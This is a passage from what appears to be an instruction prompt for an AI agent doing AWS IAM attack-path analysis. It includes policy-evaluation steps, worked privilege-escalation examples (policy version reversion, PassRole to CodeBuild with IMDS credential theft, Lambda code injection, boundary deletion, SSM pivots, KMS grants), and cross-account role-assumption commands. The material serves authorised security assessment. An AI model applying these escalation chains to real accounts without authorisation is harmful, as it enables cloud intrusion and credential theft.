policy and the session policy. Most role assumptions do NOT include session policies, but check for their presence. - -**Quick Reasoning Template -- use this for every permission check:** -``` -For permission X on resource Y: -1. Any explicit Deny anywhere? -> DENIED (stop) -2. In Organizations? -> SCPs + RCPs must allow -3. Resource has resource-based policy? -> Check for allow there -4. Identity policy allows? -> Need to check -5. Permission boundary set? -> Must also allow X -6. Using role session? -> Session policy must allow X -If all checks pass -> ALlowED -``` - -Apply this evaluation template when checking whether any permission is actually effective during Stage 2 reasoning. Do not skip steps. If any step cannot be verified (e.g., SCP data unavailable), note the gap in the path description. - -**Blocked edge annotation:** When the 7-step policy evaluation determines that an SCP, RCP, or permission boundary blocks a permission that would otherwise be allowed by identity/resource policy, the graph edge is still created but annotated as blocked: - -```json -{"source": "user:alice", "target": "esc:iam:CreatePolicyVersion", - "edge_type": "priv_esc", "severity": "critical", - "blocked": true, "blocked_by": "SCP: DenyIAMPolicyModification"} -``` - -This preserves the edge in the graph for visibility (the permission was granted but is currently neutralized) while preventing reachability traversal from following it. The `blocked_by` value identifies the specific control: `"SCP: "`, `"RCP: "`, or `"Boundary: "`. If multiple controls block the same edge, use the first one encountered in the 7-step evaluation order. - ---- - -### Stage 1 — OBSERVE: Read the Environment - -Before analyzing any paths, read the enumeration data and identify what is notable. - -Questions to ground your observations: -- Which principals have write or admin access to IAM, STS, or Organizations? -- Which roles have trust policies that are broad, external, or missing ExternalId conditions? -- Which Lambda functions, CodeBuild projects, or compute resources carry execution roles with significant permissions? -- Which data stores (S3 buckets, secrets, KMS keys, RDS instances) are accessible and to whom? -- Which principals have iam:PassRole — and what roles could they pass? -- What service integrations exist that create implicit privilege chains (S3 triggers, event source mappings, SSM associations)? - -There is no required order. Observe what is actually present — don't map observations to techniques yet. Observe facts. - ---- - -### Stage 2 — REASON: Build Attack Paths from Observations - -For each notable observation, reason about what an attacker who compromised a principal with that access could actually do. - -Think in chains, not in isolation: -- "This role has lambda:UpdateFunctionCode on a function whose execution role has iam:PassRole — that means..." -- "This user has no MFA but has console access and is in the Developers group, which has s3:* on the terraform state bucket — if phished, the attacker reaches..." -- "This cross-account trust has no ExternalId and the trusting account is not in owned_accounts — any principal in account 999999999999 can assume this role and..." - -Use the 7-step policy evaluation from Part 1 to validate whether each permission is actually effective (SCPs, boundaries, resource policies). - -Apply the config catalogues loaded after Phase A: -- `$ESCALATION_CATALOGUE`: known escalation methods with required permissions — reference when a permission pattern matches a known technique -- `$PERSISTENCE_CATALOGUE`: persistence capabilities to flag when principals have them -- `$POSTEX_CATALOGUE`: post-exploitation capabilities to quantify impact - -Config files are starting points. If you observe a permission combination that creates an escalation path not in the catalogue, reason about it and include it. The catalogue does not define the ceiling. - -Describe each finding as an environment-specific story: name the real resources, explain why this specific combination matters in THIS account. Use real ARNs from enumeration data, not placeholders. - -Generate findings for all noteworthy patterns using the category framework from Part 6. - ---- - -### Part 2: Escalation Method Reference - -The full escalation catalogue (60 methods across 4 categories plus 7 cross-service chains) is in `config/escalation-catalogue.json` (loaded into `$ESCALATION_CATALOGUE` above). Reference it during Stage 2 reasoning when you observe permission patterns that match known techniques. - -The catalogue is a starting point. If you observe a permission combination that creates an escalation path not in the catalogue, reason about it and include it. - ---- - -### Part 3: Cross-Service Attack Chains - -Known cross-service chains (Lambda code injection, PassRole chains, cross-account pivots, SSM/secrets chains, EBS snapshot exfiltration, KMS grant bypass) are in `config/escalation-catalogue.json` under the `chains` key. Reference during Stage 2 reasoning. - -After checking known chains, reason about NOVEL combinations in the enumeration data — unusual permission groupings, write access to resources consumed by higher-privilege automated processes, service integrations with implicit trust, stale configurations. This creative reasoning is the differentiator from static tools. - ---- - -### Worked Reasoning Examples - -These examples demonstrate the reasoning process — how to move from observation to attack path. They use fictional accounts to show the thinking pattern. - -#### Example 1: Direct IAM — Policy Version Reversion - -**Account context:** Fintech startup, 12 IAM roles, 3 IAM users. - -**Observation:** User `alice` has attached managed policy `arn:aws:iam::123456789012:policy/DeveloperPolicy` with 4 versions (v1-v4, default v4). Alice has `iam:SetDefaultPolicyVersion` in inline policy `developer-extras`. - -**Reasoning:** "alice can call SetDefaultPolicyVersion on DeveloperPolicy. v4 (current default) restricts her to read-only S3 and CloudWatch. But v1 is often the original permissive draft — organizations create a broad v1 and add restrictions in later versions without deleting v1. Checking the policy versions in iam.json: v1 has `Effect: Allow, Action: iam:*, Resource: *`. That is admin-equivalent IAM access. alice -> SetDefaultPolicyVersion -> revert to v1 -> iam:* on everything -> create new admin user or modify roles. No CreatePolicyVersion needed, no AttachUserPolicy needed — just one API call." - -**Result:** privilege_escalation, severity: critical. Hard to detect — no new policy artifacts created. - ---- - -#### Example 2: PassRole-to-Compute — Lambda Admin via CodeBuild - -**Account context:** Startup running CI/CD. codebuild.json present. - -**Observation:** Role `DeployerRole` has `iam:PassRole` with `Resource: "*"` plus `codebuild:CreateProject` and `codebuild:StartBuild`. Role `CodeBuildAdminRole` trusts `codebuild.amazonaws.com` and has `AdministratorAccess`. - -**Reasoning:** "DeployerRole has PassRole plus CreateProject and StartBuild — that is the full PassRole-to-CodeBuild chain. I can create a CodeBuild project with service-role=CodeBuildAdminRole, write a buildspec that curls the IMDS endpoint for CodeBuildAdminRole credentials, and exfiltrate them from the build log output. The StartBuild permission is probably granted for legitimate CI deployments. The dangerous part is CodeBuildAdminRole with AdministratorAccess — most engineers assume the service role is just for deployments." - -**Result:** privilege_escalation, severity: critical. Steps use real ARNs from enumeration. - ---- - -#### Example 3: Code Injection (No PassRole) — Lambda Update - -**Account context:** SaaS company, 23 Lambda functions. lambda.json present. - -**Observation:** Function `data-processor` has execution role `DataProcessorAdminRole` with `AdministratorAccess`. Caller has `lambda:UpdateFunctionCode` scoped to this function. Function is triggered by SQS events. Caller also has `lambda:InvokeFunction`. - -**Reasoning:** "data-processor already runs with AdministratorAccess. No PassRole needed — the role is already attached. I inject malicious code and either wait for SQS to trigger it or invoke directly. UpdateFunctionCode does not require iam:PassRole, so it often appears in deployment-scoped policies without being flagged. This is the most common 2025 attack path." - -**Result:** privilege_escalation, severity: critical. The admin role on data-processor appears to be a debug artifact — flag for priority remediation. - ---- - -#### Example 4: Boundary Bypass — Unlock Latent Permissions - -**Account context:** Regulated financial services, permission boundaries on all developer roles. - -**Observation:** Role `DevRole-alice` has `PermissionsBoundary: DeveloperBoundary` (allows S3, CloudWatch, Lambda reads only). Identity policy includes `iam:AttachRolePolicy` on `Resource: "*"` and `iam:DeleteRolePermissionsBoundary` on `Resource: "*"`. - -**Reasoning:** "The boundary blocks AttachRolePolicy even though the identity policy allows it — the boundary does not include IAM write actions. But DeleteRolePermissionsBoundary is the key: if alice deletes her own boundary, all identity policy permissions become effective. The boundary does not restrict DeleteRolePermissionsBoundary on self, and no SCP blocks it. Chain: delete boundary -> AttachRolePolicy now works -> attach AdministratorAccess -> admin. DeleteRolePermissionsBoundary is more dangerous than it looks — it does not grant permissions directly, it removes the constraint that made other permissions inactive." - -**Result:** privilege_escalation, severity: critical (two-step, both verified). - ---- - -#### Example 5: Trust Backdoor — Broad Account Root Trust - -**Account context:** Company recently migrated to multi-account. sts.json and iam.json present. - -**Observation:** Role `LegacyAdminRole` has trust policy `Principal: {"AWS": "arn:aws:iam::789012345678:root"}` (same-account root). `AdministratorAccess` attached. No ExternalId, no MFA condition. - -**Reasoning:** "arn:aws:iam::ACCT:root in a trust policy means any principal in this account whose identity policies allow sts:AssumeRole on this role — not just the root user. Any developer, Lambda execution role, EC2 instance profile with sts:AssumeRole on LegacyAdminRole can escalate to admin. Checking the account: user bob has sts:AssumeRole on Resource: '*'. bob -> assume LegacyAdminRole -> full admin. No IAM write access needed. The path uses entirely intended AWS behavior — the misconfiguration is the trust policy." - -**Result:** trust_misconfiguration, severity: high (requires sts:AssumeRole which bob has, but others might not — assess per-principal). - ---- - -#### Example 6: Service Chain — SSM to IMDS to Admin - -**Account context:** Mixed EC2/Lambda workload. ec2.json and iam.json present. - -**Observation:** Instance `i-0abc123def456789` has instance profile with `ProductionRole` (`AdministratorAccess`). Private subnet, SSM agent running. Caller has `ssm:SendCommand` on `Resource: "*"`. - -**Reasoning:** "SSM bypasses network restrictions — no public IP needed. ssm:SendCommand -> AWS-RunShellScript on the instance -> curl IMDS for ProductionRole credentials -> extract from CloudWatch Logs or ssm:GetCommandInvocation. The admin role was probably assigned for convenience and never scoped. This path does not touch IAM at all — SSM is the entire vector. Static tools that check IAM combinations will not connect ssm:SendCommand to the specific instance with the admin role." - -**Result:** privilege_escalation, severity: critical. Instance i-0abc123def456789 with ProductionRole should be a separate excessive_permission finding. - ---- - -#### Example 7: Resource Policy Abuse — KMS Grant for Data Access - -**Account context:** Company using KMS for Secrets Manager encryption. kms.json and secrets.json present. - -**Observation:** KMS key `a1b2c3d4-...` encrypts 7 Secrets Manager secrets (prod/db/master-password, prod/api/third-party-key, etc.). Role `AnalyticsRole` has `kms:CreateGrant` on this key. - -**Reasoning:** "A KMS grant bypasses IAM policy evaluation for the granted operations. I can create a grant giving myself Decrypt and GenerateDataKey. But do I also need secretsmanager:GetSecretValue? Checking AnalyticsRole's policies: GetSecretValue is scoped to analytics/* only, not prod/*. So I cannot get the secret value directly. However, the grant gives me GenerateDataKey — I can generate data encryption keys under this master key. If any S3 objects use SSE-KMS with this key, I can decrypt them directly. The grant also creates permanent decryption capability that survives role credential rotation." - -**Result:** data_exposure, severity: high. Also flag as persistence — KMS grants persist independently of IAM policies. The reasoning MUST include the dead-end path (direct secret access blocked via GetSecretValue scope) before reaching the final conclusion — this demonstrates how to reason through failures to find actual impact. - ---- - -#### Example 8: Cross-Account — External Trust Chain - -**Account context:** Two owned accounts (111222333444, 555666777888). sts.json present with OWNED_ACCOUNTS. - -**Observation:** Role `SharedServicesRole` in account 111222333444 trusts `arn:aws:iam::999888777666:root`. Account 999888777666 is NOT in OWNED_ACCOUNTS. SharedServicesRole has `s3:GetObject` on bucket `111222333444-terraform-state`. - -**Reasoning:** "Account 999888777666 is external — any principal in an account we do not control can assume SharedServicesRole. The role grants s3:GetObject on the terraform state bucket. Terraform state contains resource IDs, ARNs, and often sensitive outputs — database connection strings, API keys, certificate private keys. No ExternalId condition, so the confused deputy problem applies. The combination of external trust, no ExternalId, and terraform state access is high-risk regardless of business intent." - -**Result:** trust_misconfiguration, severity: high. Check reachability: SharedServicesRole has ListRoles and GetObject but no escalation-enabling permissions (no PassRole, no IAM write). - ---- - -### Part 4: Severity and Exploitability - -Rate each discovered attack path on two dimensions: - -**Severity** — the blast radius if the path succeeds: -- critical: Direct path to admin/root or organization-wide impact -- high: Significant privilege gain or data access -- medium: Meaningful access gain with preconditions -- low: Theoretical path with significant barriers - -**Exploitability** — how likely the path succeeds in practice: -- critical: All required permissions verified, no additional preconditions -- high: Path exists with 1-2 easily met preconditions -- medium: Path requires specific conditions or timing dependencies -- low: Requires social engineering, race conditions, or multiple unlikely preconditions - -When SCP or permission boundary data is incomplete or sourced only from config files (not live enumeration), note the gap in the path description. Do not assign a numeric confidence score — describe what was verified and what was not. - -**Mode weighting:** -- **If `--all`:** Report all noteworthy paths regardless of who can execute them. Weight by account-wide impact. -- **If specific ARN(s):** Report paths reachable from the targeted principal(s). Weight by that principal's access scope. - -#### Per-Field Output Guidance - -These are soft constraints — describe what good output looks like, adjust per finding as needed: - -- **description**: Environment-specific narrative, ~200 words max. Name real resources and explain why this combination matters in THIS account. No raw JSON dumps or full CLI output in the description. -- **steps**: One concrete AWS CLI command per array element, using real ARNs and resource IDs from enumeration data. No placeholders in final output. -- **remediation**: Plain-English, max 3 items. Specific policy changes (which permission to remove, which SCP to add), not generic advice. -- **mitre_techniques**: T-IDs only (e.g., `["T1548", "T1078.004"]`). No technique names in the array. -- **detection_opportunities**: CloudTrail eventNames only (e.g., `["CreatePolicyVersion", "SetDefaultPolicyVersion"]`). Include SPL sketch in the description if relevant. -- **severity**: One of critical, high, medium, low (lowercase in JSON output). - -**Ordering rule:** Sort attack paths by severity DESC, then by exploitability DESC. - ---- - -Tag every attack path with MITRE ATT&CK technique IDs (T-IDs only, e.g., T1548.002). Use your training knowledge of MITRE ATT&CK for Cloud — privilege escalation paths typically map to T1548, T1078.004; persistence to T1098, T1136.003; data access to T1530, T1537; lateral movement to T1550.001. - ---- - -### Part 6: Misconfiguration Findings as Attack Paths - -Convert enumeration findings from all modules into categorized attack path entries. These are NOT escalation chains — they are standalone misconfigurations that are directly abusable. Each uses the same schema as escalation paths (name, severity, category, description, steps, mitre_techniques, affected_resources, detection_opportunities, remediation). - -**Categories:** - -| Category | Value | -|----------|-------| -| Privilege escalation (Parts 1-5 above) | `privilege_escalation` | -| Trust misconfigurations | `trust_misconfiguration` | -| Data exposure | `data_exposure` | -| Credential risks | `credential_risk` | -| Excessive permissions | `excessive_permission` | -| Network exposure | `network_exposure` | - -**All existing escalation paths from Parts 1-5 get `"category": "privilege_escalation"`.** The categories below cover non-escalation findings. - -#### 6A: Trust Misconfigurations (`trust_misconfiguration`) - -For each finding from IAM/STS enumeration: -- **Wildcard trust (Principal: `"*"` or `{"AWS": "*"}`)** → critical. Name: "Wildcard Trust on {role}". Steps: show `aws sts assume-role` command. Detection: CloudTrail AssumeRole for that role. -- **Broad account root trust (Principal: `arn:aws:iam::ACCT:root`)** on a high-privilege role: - - If the trusting account is in owned-accounts set → medium (internal cross-account, expected but worth noting). Name: "Internal Cross-Account Trust on {role}". - - If the trusting account is NOT in owned-accounts set → high (unknown external account). Name: "Broad Account Trust on {role}". Steps: show assume-role from any identity in the account. -- **Broad account root trust (Principal: `arn:aws:iam::ACCT:root`)** on a non-high-privilege role: - - If the trusting account is in owned-accounts set → low (internal cross-account on a limited role). - - If the trusting account is NOT in owned-accounts set → medium (unknown external account, but role has limited permissions). Name: "External Account Trust on {role}". Steps: show assume-role from any identity in the account. -- **Cross-account trust without `sts:ExternalId` condition:** - - If owned account (in config/accounts.json) → **SKIP — not a finding.** ExternalId protects against confused deputy, which is not a risk when you control both accounts. - - If unknown external → high (confused deputy vulnerability). Name: "Cross-Account Trust Without ExternalId on {role}". Steps: show confused deputy scenario. -- **Cross-account trust without MFA condition on sensitive role:** - - If owned account → low. Name: "Cross-Account Trust Without MFA on {role} (internal)". - - If unknown external → medium. Name: "Cross-Account Trust Without MFA on {role}". - -MITRE: T1078.004 (Valid Accounts: Cloud Accounts). - -#### 6B: Data Exposure (`data_exposure`) - -For each finding from S3, Secrets Manager, EC2/EBS enumeration: -- **Public S3 bucket** (public ACL or bucket policy allowing `Principal: "*"`) → critical if contains sensitive data indicators, high otherwise. Name: "Public S3 Bucket: {bucket}". Steps: show `aws s3 ls s3://{bucket}` or direct HTTP access. -- **Unencrypted Secrets Manager secret** → medium. Name: "Unencrypted Secret: {secret-name}". Steps: show `aws secretsmanager get-secret-value`. -- **Public EBS snapshot** → high. Name: "Public EBS Snapshot: {snap-id}". Steps: show `aws ec2 create-volume --snapshot-id` from attacker account. -- **Public RDS snapshot** → high. Name: "Public RDS Snapshot: {snap-id}". - -MITRE: T1530 (Data from Cloud Storage), T1537 (Transfer Data to Cloud Account) for snapshots. - -#### 6C: Credential Risks (`credential_risk`) - -For each finding from IAM enumeration: -- **User with console access but no MFA, with admin-equivalent policies** → critical. Name: "Admin User Without MFA: {user}". Steps: show password spray / phishing scenario leading to full admin. -- **User with console access but no MFA, non-admin** → high. Name: "User Without MFA: {user}". Steps: show credential compromise leading to their permission set. -- **Access keys older than 90 days** → medium. Name: "Stale Access Key: {user} (key age: {days}d)". Steps: show key reuse from leaked credentials. -- **Unused access keys still active (no usage in 90+ days)** → medium. Name: "Unused Active Access Key: {user}". - -MITRE: T1078.004 (Valid Accounts: Cloud Accounts), T1098.001 (Additional Cloud Credentials). - -#### 6D: Excessive Permissions (`excessive_permission`) - -For each finding from IAM policy analysis: -- **Non-admin user/role with `Action: "*", Resource: "*"`** → critical. Name: "Wildcard Permissions on {principal}". Steps: show the principal can perform any action. -- **Role with AdministratorAccess, IAMFullAccess, or PowerUserAccess managed policy that is NOT intended as an admin role** → high. Name: "Admin-Equivalent Policy on {role}". Steps: show full admin capabilities. -- **Lambda function with admin execution role** → high. Name: "Lambda with Admin Role: {function}". Steps: show invoke or trigger leading to admin actions. - -MITRE: T1548 (Abuse Elevation Control Mechanism), T1078.004. - -#### 6E: Network Exposure (`network_exposure`) - -For each finding from EC2/VPC enumeration: -- **Internet-facing EC2 instance with admin or high-privilege IAM role** → critical. Name: "Internet-Facing EC2 with Admin Role: {instance}". Steps: show SSRF/RCE → IMDS → admin credentials. -- **Security group with 0.0.0.0/0 ingress on sensitive ports (22, 3389, 3306, 5432, 6379, 27017)** → medium. Name: "Open Ingress on {port}: {sg-id}". Steps: show direct connection from internet. -- **Security group with 0.0.0.0/0 ingress on all ports** → high. Name: "Fully Open Security Group: {sg-id}". - -MITRE: T1190 (Exploit Public-Facing Application), T1552.005 (Cloud Instance Metadata API) for IMDS paths. - ---- - -### Part 6F: Permission-Level Access Analysis + Exhaustive Path Generation - -**Attack paths are not just privilege escalation.** For every role and policy in the account, you must analyze what access it provides, how that access can be reached, and whether that access pattern represents a risk. This means classifying each permission grant as read, write, or admin — and generating findings for ALL noteworthy access patterns, not just escalation chains. - -#### Step 1: Per-Role/Policy Access Classification - -For EVERY role (excluding service-linked roles) and every policy with meaningful permissions, produce an access classification: - -**Access levels:** -- **admin** — `Action: "*"`, `Resource: "*"` or equivalent (AdministratorAccess, IAMFullAccess with sts:AssumeRole) -- **write** — can modify resources: `Put*`, `Create*`, `Delete*`, `Update*`, `Attach*`, `Detach*` on sensitive services (IAM, STS, Lambda, S3, KMS, SecretsManager, EC2, Organizations) -- **read** — can enumerate or read resources: `Get*`, `List*`, `Describe*`, `Read*` on sensitive services -- **limited** — permissions scoped to non-sensitive services or tightly resource-constrained - -For each role/policy, record: -``` -Role: - Access level: admin | write | read | limited - Key permissions: [list top 5 most impactful actions granted] - Reachable via: [who can assume this role — trust policy principals] - Services affected: [which AWS services this role can touch] - Data access: [what data stores — S3 buckets, secrets, KMS keys — this role can read/write] -``` - -**Generate attack paths from access classification:** - -- **Write access to IAM** (any `iam:Put*`, `iam:Attach*`, `iam:Create*`, `iam:Update*`, `iam:Delete*`) → `excessive_permission` or `privilege_escalation` depending on specifics. Even `iam:CreateUser` alone on a read-only role is noteworthy. -- **Write access to compute** (`lambda:UpdateFunctionCode`, `lambda:CreateFunction`, `ec2:RunInstances`, `ecs:RunTask`) → `excessive_permission` if the role isn't explicitly a deployment role. Show how write access to compute translates to code execution. -- **Read access to secrets** (`secretsmanager:GetSecretValue`, `ssm:GetParameter`, `kms:Decrypt`) → `data_exposure`. Show what secrets/parameters are readable and what they protect. -- **Read access to data stores** (`s3:GetObject` on sensitive buckets, `dynamodb:GetItem`, `rds-data:ExecuteStatement`) → `data_exposure`. Quantify the data reachable. -- **Write access to data stores** (`s3:PutObject`, `s3:DeleteObject`, `dynamodb:PutItem`) → `post_exploitation`. Show the destructive or data-poisoning potential. -- **Cross-service access chains** — a role that has `s3:GetObject` on a deployment bucket AND `lambda:UpdateFunctionCode` may not look like escalation on either permission alone, but combined they allow code injection. Flag these combinations. - -#### Step 2: Mandatory Category Coverage - -**You MUST generate attack paths for ALL of the following when the enumeration data supports them.** Shallow analysis that produces only 2-3 paths from dozens of roles and policies is a failure. Work through every category systematically. - -**trust_misconfiguration** — Generate a SEPARATE attack path for EVERY cross-account trust to **external** (non-owned) accounts without `sts:ExternalId` condition. Skip ExternalId findings for accounts listed in config/accounts.json — confused deputy is not a risk when you control both sides. Each path should name the specific role, the trusted principal, and the confused deputy risk. - -**credential_risk** — Generate a SEPARATE attack path for EACH of: -- Every user with stale access keys (>90 days old) — one path per user -- Every user with console access but no MFA — one path per user -- Every user with BOTH console access AND programmatic access keys but no MFA — one path per user (this is distinct from the no-MFA finding because the dual access surface is larger) - -**excessive_permission** — Generate attack paths for: -- Every role with admin-equivalent names (e.g., containing "Admin", "Master", "FullAccess", "PowerUser") — enumerate their attached policies and flag if they grant broad permissions -- Every role or user with `Action: "*", Resource: "*"` that is not an intended admin role -- Every role with write access to IAM, STS, or Organizations — even partial write access is noteworthy -- Every Lambda function with an admin or overly-broad execution role - -**lateral_movement** — Generate a SEPARATE attack path for EACH cross-account trust destination: -- For each principal that can assume roles in OTHER accounts, generate one path per destination account, not one aggregate "cross-account" finding -- Name the specific source principal, destination account, destination role, and what permissions the destination role grants -- For internal accounts (in owned-accounts set), note the account name and flag for potential multi-hop analysis - -**persistence** — Generate attack paths for roles that ENABLE persistence, even if no principal currently exercises these permissions: -- Roles with `iam:CreateUser`, `iam:CreateAccessKey`, `iam:AttachUserPolicy` — flag as persistence enablers -- Roles with `iam:UpdateAssumeRolePolicy` — flag as trust policy backdoor enablers -- Roles with `lambda:AddPermission` — flag as cross-account invoke enablers - -**data_exposure** — Generate attack paths for every read/write path to sensitive data: -- Roles with read access to Secrets Manager, SSM Parameter Store, or KMS -- Roles with read/write access to S3 buckets (especially those with sensitive naming patterns: *prod*, *backup*, *config*, *terraform*, *state*) -- Roles with access to database services (RDS, DynamoDB, Redshift) - -**post_exploitation** — Generate attack paths for destructive capabilities: -- Roles with `kms:ScheduleKeyDeletion` or `kms:PutKeyPolicy` — ransomware potential -- Roles with `s3:DeleteObject` or `s3:PutBucketPolicy` on production buckets -- Roles with `ec2:TerminateInstances`, `rds:DeleteDBInstance`, or `lambda:DeleteFunction` - -#### Step 3: Coverage Reflection - -After generating all attack paths, reflect on coverage: - -``` -Self-check counts: -- Total roles analyzed: [R] -- Total trust relationships: [T] -- Cross-account trusts without ExternalId: [E] -- Users without MFA: [M] -- Stale access keys: [K] -- Roles with write access to IAM/STS: [W] -- Roles with read access to secrets/data: [D] -- Attack paths generated: [N] -``` - -If the path count seems low relative to the account's size and permission scope, consider whether you may have missed findings in any category. The Stage 3 coverage anchor above is the primary coverage check — if you addressed each category there, you have good coverage. If any category was skipped entirely without explanation, revisit it. - ---- - -### Stage 3 — VERIFY: Coverage Anchor Review - -After completing free-form analysis, verify coverage against known technique categories. - -For each category below, confirm you have addressed it or state explicitly why it does not apply to this account: - -**Direct IAM Escalation** — principals with iam:CreatePolicyVersion, iam:SetDefaultPolicyVersion, iam:AttachUserPolicy, iam:AttachRolePolicy, iam:PutUserPolicy, iam:PutRolePolicy, iam:AddUserToGroup, iam:UpdateAssumeRolePolicy, iam:DeleteUserPermissionsBoundary, iam:DeleteRolePermissionsBoundary - -**PassRole-to-Compute** — principals with iam:PassRole combined with ec2:RunInstances, lambda:CreateFunction, ecs:RunTask, sagemaker:CreateNotebookInstance, codebuild:CreateProject, glue:CreateDevEndpoint, cloudformation:CreateStack - -**Code Injection (No PassRole)** — lambda:UpdateFunctionCode or lambda:UpdateFunctionConfiguration on functions with existing high-privilege roles; codebuild:UpdateProject + codebuild:StartBuild on projects with admin service roles - -**Boundary Bypass** — iam:DeleteUserPermissionsBoundary or iam:DeleteRolePermissionsBoundary when boundaries are set on principals with otherwise-powerful policies - -**Trust Backdoors** — roles with wildcard trust (Principal: "*"), broad account root trust, cross-account trust without ExternalId, cross-account trust to external (non-owned) accounts - -**Service Chain Escalation** — ssm:SendCommand on instances with high-privilege roles; kms:CreateGrant on keys protecting sensitive data; s3:PutBucketPolicy on buckets consumed by automated processes; lambda:AddPermission on functions with admin roles - -**Resource Policy Abuse** — S3 bucket policies, KMS key policies, Lambda resource policies, SNS/SQS policies with wildcard principals or no conditions - -**Cross-Account Pivots** — all cross-account trust edges, lateral movement to owned accounts, trust edges to external accounts - -**New 2025/2026 Techniques** (from `$ESCALATION_CATALOGUE` novel_patterns) — IAM Identity Center permission set escalation, Bedrock Agent code execution, Verified Access policy injection, IAM Roles Anywhere credential injection, Service Catalog portfolio escalation, Organizations delegated administrator abuse - -For any category where you have no findings: state "Not applicable — [reason from enumeration data]." -For any category where you generated findings: confirm the path count. - -This review is a sanity check, not a second analysis pass. If you missed something obvious, add it. If you addressed each category during Stage 2, confirm and proceed. - ---- - -### Part 6G: Multi-Hop Cross-Account Analysis - -When BFS reachability analysis (Part 9) discovers cross-account edges to **internal** accounts (in the owned-accounts set), attempt to enumerate the destination to build deeper attack paths. - -**Important:** The caller may not have cross-account assume access. This analysis is best-effort — never block or error if assumption fails. - -#### Multi-Hop Enumeration Steps: - -For each internal cross-account trust edge discovered: - -1. **Attempt assumption:** - ```bash - aws sts assume-role --role-arn --role-session-name scope-audit-hop 2>&1 - ``` - -2. **If succeeds:** Enumerate the destination role's permissions using the temporary credentials: - ```bash - # Set temporary credentials - export AWS_ACCESS_KEY_ID= - export AWS_SECRET_ACCESS_KEY= - export AWS_SESSION_TOKEN= - - # Enumerate destination role permissions - aws iam list-attached-role-policies --role-name 2>&1 - aws iam list-role-policies --role-name 2>&1 - # For each attached policy: - aws iam get-policy-version --policy-arn --version-id 2>&1 - - # Check if this role can assume further roles - # (look for sts:AssumeRole in the policy documents) - - # Unset temporary credentials immediately after - unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN - ``` - -3. **If succeeds, continue BFS:** If the assumed role has `sts:AssumeRole` permissions to additional roles, add those as new edges and continue enumeration. - -4. **If fails (AccessDenied):** Record as `hop_status: "access_denied"` on the edge. Do NOT block — continue with other edges. Build the attack path from the trust relationship data alone (the trust exists even if the caller cannot exercise it). - -5. **If external account:** Never attempt assumption. Record as `hop_status: "external_account"` (terminal node). - -#### Safety Controls: - -- **Cycle detection:** Maintain a visited set of role ARNs across all hops. Never assume a role already visited. -- **Depth limit:** Maximum 5 hops from the original caller. Stop BFS at this depth. -- **Credential cleanup:** Unset temporary credentials after each hop enumeration completes. Never carry assumed credentials beyond their intended scope. -- **Read-only:** Only enumerate permissions. Never modify anything in destination accounts. - -#### Building Paths Without Cross-Account Access: - -Even when assumption fails, build attack paths from the trust relationship data: -- "Role X in account A trusts account B (internal: AccountName). If a principal in account B is compromised, they can assume role X which grants [list permissions from role X's policies in account A]." -- These paths have lower confidence (flag as `hop_status: "not_verified"`) but are still valuable for understanding the organization's trust topology. - ---- - -### Part 7: Persistence Path Analysis - -After identifying escalation and misconfiguration paths, analyze each principal's permissions for **persistence establishment capabilities**. These are attack paths where a compromised principal can establish durable, hard-to-detect access that survives credential rotation, incident response, or partial remediation. - -**Reasoning approach:** For each principal with interesting permissions, ask: "If this principal were compromised, what persistence mechanisms could an attacker establish?" Reference `$PERSISTENCE_CATALOGUE` (loaded above) for known persistence methods across IAM, STS, EC2, Lambda, S3/KMS/Secrets Manager. Apply the 7-step policy evaluation from Part 1 to validate each capability. -**Emit as attack paths:** For each principal that has the required permissions for a persistence method, emit an attack path with `"category": "persistence"`. Include: -- **name**: "Persistence: {method} via {principal}" -- **severity**: critical for methods that survive credential rotation (backdoor trust, federation, eternal grants); high for durable access (long-lived tokens, cron triggers, ACLs); medium for methods requiring additional steps -- **steps**: Concrete AWS CLI commands using real ARNs from enumeration data -- **detection_opportunities**: CloudTrail events + SPL queries -- **remediation**: Specific policy changes to block the persistence vector - ---- - -### Part 8: Post-Exploitation & Lateral Movement Analysis - -After analyzing persistence capabilities, evaluate what **post-exploitation actions** each principal can perform. These represent the impact of a compromise — what an attacker can actually do with the access they have. - -**Reasoning approach:** For each principal, ask: "With these permissions, what data can be exfiltrated? What services can be disrupted? Where can the attacker move laterally?" Reference `$POSTEX_CATALOGUE` (loaded above) for known data exfiltration, lateral movement, and destructive action patterns. -**Emit as attack paths:** For each actionable finding: -- Data exfiltration and destructive actions → `"category": "post_exploitation"`, severity by data sensitivity and blast radius -- Lateral movement paths → `"category": "lateral_movement"`, severity by target value and hop count - -**Chaining intelligence:** When a lateral movement path leads to a higher-privilege position that enables new persistence or exfiltration, document the **full chain** as a single attack path with all steps. Example: "SSM pivot → assume cross-account admin role → exfiltrate Secrets Manager secrets" is one path with category `lateral_movement`, not three separate paths. - ---- - -### Part 9: Reachability Analysis (Assume-Breach Blast Radius) - -After Parts 1-8 have identified individual attack paths, Part 9 walks the full graph transitively from each principal to compute the complete blast radius under an assume-breach model. This answers: "If principal X is compromised, what can an attacker ultimately reach?" - -#### Scope - -- **`--all` mode:** Compute reachability for every principal (user and role) in the account. -- **Specific ARN mode:** Compute reachability for the targeted principal(s) plus any roles they can transitively assume. - -#### Traversal Rules (BFS from each principal) - -For each principal, run a breadth-first search following these edge types in order. Maintain a `visited` set of node IDs for cycle detection — never visit the same node twice in a single principal's traversal. - -**Rule 1 — Trust edges (role assumption):** -Follow `trust_type: "same-account"` and `trust_type: "cross-account"` edges. When a role is reached via a trust edge, assume that role and continue the walk with the role's outgoing edges. Add the role to `reachable_roles`. - -**Rule 2 — Service trust edges (compute → role):** -Follow `trust_type: "service"` edges from compute nodes (Lambda functions, EC2 instances) to their IAM roles (edges with `label: "exec_role"` or `label: "instance_profile"`). Compromising the compute resource grants the attached role's permissions. Add the role to `reachable_roles` and continue the walk as that role. - -**Rule 3 — Privilege escalation edges:** -Follow `edge_type: "priv_esc"` edges. Record the escalation method. If the escalation method is admin-equivalent (e.g., iam:CreatePolicyVersion, iam:AttachUserPolicy with AdministratorAccess, iam:PutUserPolicy with Action:*), set `max_privilege = "admin"` for this principal. - -**Rule 4 — Data access edges:** -Follow `edge_type: "data_access"` edges. Record the data store node in `reachable_data` with the edge's `access_level`. If a data store has outgoing edges (e.g., an S3 bucket with `s3_trigger` edges to Lambda functions), continue the traversal through those edges — this captures chains like "write to S3 → trigger Lambda → get Lambda exec role → access secrets." - -**Rule 5 — Service integration edges:** -Follow edges with labels `"s3_trigger"`, `"triggers"`, `"env_ref"`, `"exec_role"`, and `"instance_profile"`. These represent implicit service-to-service data flows: -- `s3_trigger`: S3 event notification → Lambda (s3:PutObject = indirect code 